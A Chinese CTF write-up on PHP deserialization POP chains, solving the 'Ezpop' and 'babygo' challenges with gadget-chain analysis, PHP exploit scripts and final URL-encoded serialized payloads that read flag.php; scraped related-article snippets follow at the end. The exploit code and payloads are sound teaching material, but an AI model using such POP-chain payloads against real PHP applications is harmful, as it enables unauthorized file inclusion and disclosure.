前言:

最近在刷题的时候发现这个PHP反序列化—POP链,之前理解的序列化攻击多是在魔术方法中出现一些利用的漏洞,自动调用从而触发漏洞。但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来。

直接通过题目来进行学习,这样更容易掌握!!!

Ezpop

class Modifier {protected  $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['pop'])){@unserialize($_GET['pop']);
}
else{$a=new Show;highlight_file(__FILE__);
}

将涉及到的魔法函数先列出一下:

__construct   当一个对象创建时被调用,
__toString   当一个对象被当作一个字符串被调用。
__wakeup()   使用unserialize时触发
__get()    用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke()   当脚本尝试将对象调用为函数时触发

POP链的开始是Show类开始,到Modifier类结束,更准确的说应该是到__invoke()结束。分析流程如下:

  1. __wakeup()方法通过preg_match()将$this->source做字符串比较,如果$this->source是Show类,就调用了__toString()方法;
  2. __toString()访问了str的source属性,如果str是Test类,则不存在source属性,所以调用了Test类的__get()魔术方法;
  3. __get()方法将对象p作为函数使用,p实例化为Modify类,就调用了Modifier的__invoke()方法;
Modifier::__invoke()<--Test::__get()<--Show::__toString()

流程就是这样,一层一层的触发

#y1ng师傅的脚本,有些地方还是不太清楚之后再看看,慢慢理解
<?phpclass Modifier {protected  $var = "php://filter/convert.base64-encode/resource=flag.php";}class Show{public $source;public $str;public function __construct($file){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return "www.gem-love.com";}
}class Test{public $p;public function __construct(){$this->p = new Modifier();}
}$o = new Show('aaa');
$o->str= new Test();#触发__get()方法,需要访问不存在的成员变量
$y1ng = new Show($o);
echo urlencode(serialize($y1ng));

安恒月赛babygo

<?php
@error_reporting(1);
include 'flag.php';
class baby
{   protected $skyobj;  public $aaa;public $bbb;function __construct() {      $this->skyobj = new sec;}  function __toString()      {          if (isset($this->skyobj))  return $this->skyobj->read();      }
}  class cool
{    public $filename;     public $nice;public $amzing; function read()      {   $this->nice = unserialize($this->amzing);$this->nice->aaa = $sth;if($this->nice->aaa === $this->nice->bbb){$file = "./{$this->filename}";        if (file_get_contents($file))         {              return file_get_contents($file); }  else { return "you must be joking!"; }    }}
}  class sec
{  function read()     {          return "it's so sec~~";      }
}  if (isset($_GET['data']))
{ $Input_data = unserialize($_GET['data']);echo $Input_data;
}
else
{ highlight_file("./index.php");
}
?>

分析流程:

  1. 从baby类开始入手,当通过baby类new一个skyobj对象进行反序列化时,触发__construct(),$this->skyobj= new sec;这一句则触发__toString() ,从而得出的结果是 "it's so sec~~";
  2. cool类中有read()函数,有file_get_contents函数,只要满足if($this->nice->aaa === $this->nice->bbb)就可以继续往下面执行,但发现了一个未知变量 $sth, $this->nice->aaa = $sth;这样的话aaa的值就不能确定了
  3. 关键代码在cool类的read方法中,但baby类中调用的却是sec类的read方法,所以这个时候就要用到POP链构造

下面就来构造POP链,发现$this->nice = unserialize($this->amzing);,可以先构造到这个地方

class baby
{   protected $skyobj;  public $aaa;public $bbb;function __construct() {      $this->skyobj = new cool;//更改为cool类}  function __toString()      {          if (isset($this->skyobj))  return $this->skyobj->read();      }
}  class cool
{    public $filename='flag.php';     public $nice;public $amzing; function read()      {   $this->nice = unserialize($this->amzing);$this->nice->aaa = $sth;if($this->nice->aaa === $this->nice->bbb){$file = "./{$this->filename}";        if (file_get_contents($file))         {              return file_get_contents($file); }  else { return "you must be joking!"; }    }}
}
$lemon = new baby();
echo urlencode(serialize($lemon));

这样amazing便是一个序列化后的baby类的对象

O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BN%3B%7D

接下来就是如何绕过if条件和未知变量 $sth的问题,可以通过使用指针来进行绕过

指针在运行时可以改变其所指向的值,而引用一旦和某个对象绑定后就不再改变

$a->bbb =&$a->aaa;
#通过指针,bbb会跟随aaa动态改变

接下来就来构造最终的EXP:

<?php
class baby
{   protected $skyobj;  public $aaa;public $bbb;function __construct() {      $this->skyobj = new cool;//更改为cool类}  function __toString()      {          if (isset($this->skyobj))  return $this->skyobj->read();      }
}  class cool
{    public $filename='./flag.php';     public $nice;public $amzing='O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3BN%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BN%3B%7D
'; function read()      {   $this->nice = unserialize($this->amzing);$this->nice->aaa = $sth;}
}  $a = new baby();
$a->bbb =&$a->aaa;
echo urlencode(serialize($a));

最终payload:

O%3A4%3A%22baby%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00skyobj%22%3BO%3A4%3A%22cool%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A10%3A%22.%2Fflag.php%22%3Bs%3A4%3A%22nice%22%3BN%3Bs%3A6%3A%22amzing%22%3Bs%3A245%3A%22O%253A4%253A%2522baby%2522%253A3%253A%257Bs%253A9%253A%2522%2500%252A%2500skyobj%2522%253BO%253A4%253A%2522cool%2522%253A3%253A%257Bs%253A8%253A%2522filename%2522%253Bs%253A8%253A%2522flag.php%2522%253Bs%253A4%253A%2522nice%2522%253BN%253Bs%253A6%253A%2522amzing%2522%253BN%253B%257Ds%253A3%253A%2522aaa%2522%253BN%253Bs%253A3%253A%2522bbb%2522%253BN%253B%257D%0A%22%3B%7Ds%3A3%3A%22aaa%22%3BN%3Bs%3A3%3A%22bbb%22%3BR%3A6%3B%7D


这里需要转换下思维,仔细想想之前所做的都是在绕过一些魔法函数之类的,构造POP链相当于给出了这些类,需要从这些类中关系串成一个新的代码,传入执行,现在是这样理解的,如有错误还请师傅们指出。

未完待续。。。等再遇到一些题目涉及到POP链再来补充!

PHP反序列化—构造POP链相关推荐

  1. php反序列化之pop链构造

    前言 随着对反序列化学习的不断深入,我们来学习一下pop链的构造.这个pop链对于我这种小白来说还是比较难理解的,再次写下这篇文章总结一下,加深自己对构造pop链的理解.同时也是提供想要入坑的小伙伴们 ...

  2. php反序列化—POP 链的构造利用

    POP 链的构造利用 一.POP链简介 1.POP 面向属性编程(Property-Oriented Programing) 常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Retu ...

  3. php反序列化漏洞之pop链

    目录 POP链简介 pop面向属性编程: pop chain pop链利用技巧 1.在pop链中出现的方法: 2.反序列化中为了避免信息丢失,可以使用大写S,支持字符串的编码 3.深浅copy 4.利 ...

  4. 『Java安全』反序列化-浅析Hessian反序列化POP链

    文章目录 前言 pom.xml Spring联动Hessian使用 Server端 服务接口 服务实现类 SpringApp Client端 手动序列化和反序列化 能序列化的类 序列化没有实现Seri ...

  5. 『Java安全』反序列化-CC7反序列化漏洞POP链分析_ysoserial CommonsCollections7 PoC分析

    文章目录 前言 代码复现 工具类 PoC 代码审计 | 原理分析 1. LazyMap.get()调用this.factory.transform() 2. AbstractMap.equals()调 ...

  6. 6-java安全——java反序列化漏洞利用链

    本篇将结合一个apache commons-collections组件来学习java反序列化漏洞原理,以及如何构造利用链. 我们知道序列化操作主要是由ObjectOutputStream类的 writ ...

  7. java反序列化漏洞POP查找_利用 Java 反序列化漏洞在受限环境下获取反向 Shell

    原标题:利用 Java 反序列化漏洞在受限环境下获取反向 Shell 原文链接: https://medium.com/abn-amro-red-team/java-deserialization-f ...

  8. php5.5 反序列化利用工具_Yii框架反序列化RCE利用链2

    Yii框架反序列化RCE利用链2(官方无补丁) Author:AdminTony 1.寻找反序列化点 全局搜索__wakeup函数,如下: 找到\symfony\string\UnicodeStrin ...

  9. pop链 php,POP链

    在二进制安全领域,Return-oriented programming(ROP)是一种常用的绕过防护攻击方式.攻击者可以利用内存中已有的进程片段(称作gadgets),通过汇集这些进程片构建一个攻击 ...

最新文章

  1. 粗谈Android中的对齐
  2. 数据库期末复习之事务与数据恢复
  3. Java泛型编程基础
  4. C#数据库操作一点相关点。。。
  5. Vscode配置C语言问题
  6. python展开面_python面度对象(属性,类方法,静态方法)
  7. 专访:Vmware眼中的虚拟化
  8. 荒野之息-用乘法打造开放世界玩法
  9. ios 轻扫手势_轻扫即可快速删除iOS计算器中的数字
  10. Win11如何将游戏隐藏 Win11游戏隐藏的方法
  11. (王道408考研操作系统)第三章内存管理-第二节1:虚拟内存管理基本概念
  12. java的第一个程序 ----Hello World
  13. 【jQuery学习】—jQuery对象的访问
  14. MVP项目框架搭建-高级设计
  15. 黑马程序员2022年最新软件测试学习路线
  16. 《一个人工智能的诞生》学习记录
  17. HTML+CSS网页设计期末课程大作业:个人网站设计——个人介绍(7页) web前端开发技术 web课程设计 网页规划与设计
  18. 计算机c盘垃圾,详解win7怎么清理C盘垃圾
  19. UVA 12307 旋转卡壳
  20. 9宫格实现微信朋友圈图片点击放大缩小弹簧效果

热门文章

  1. 困难动态规划系列、经典的正则表达式和通配符匹配问题(难题)
  2. 化工原理各章知识点汇总
  3. 额外篇 | ggplot (下)
  4. 今日arXiv精选 | 13 篇 ICCV 2021 最新论文
  5. 24张IT工程师技能图谱,这些你都会吗?
  6. 在TensorFlow和PaddleFluid中使用多块GPU卡进行训练
  7. 计算机视觉:单阶段目标检测模型YOLO-V3
  8. ajax 入参为list_ajax传递给后台数组参数方式
  9. Pinpoint【环境搭建 01】JDK\HBase\Pinpoint Collector+Web 最新版 2.3.3 安装配置运行验证及脚本文件分享(避坑指南捷径指北)
  10. input输入框自动消除空格